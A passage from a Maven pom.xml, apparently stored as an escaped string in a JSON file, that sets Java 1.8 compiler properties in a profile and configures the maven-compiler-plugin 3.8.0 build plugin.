maven.compiler.source>\r\n\t\t\t\t<maven.compiler.target>1.8</maven.compiler.target>\r\n\t\t\t\t<maven.compiler.compilerVersion>1.8</maven.compiler.compilerVersion>\r\n\t\t\t</properties>\r\n\t\t</profile>\r\n\t</profiles>\r\n\r\n\r\n\t<build>\r\n\t\t<plugins>\r\n\t\t\t<plugin>\r\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\r\n\t\t\t\t<artifactId>maven-compiler-plugin</artifactId>\r\n\t\t\t\t<version>3.8.0</version>\r\n\t\t\t\t<configuration>\r\n\t\t\t\t\t<source>1.8</source>\r\n\t\t\t\t\t<target>1.8</target>\r\n\t\t\t\t</configuration>\r\n\t\t\t</plugin>\r\n\t\t</plugins>\r\n\t</build>\r\n</project>"
  }
]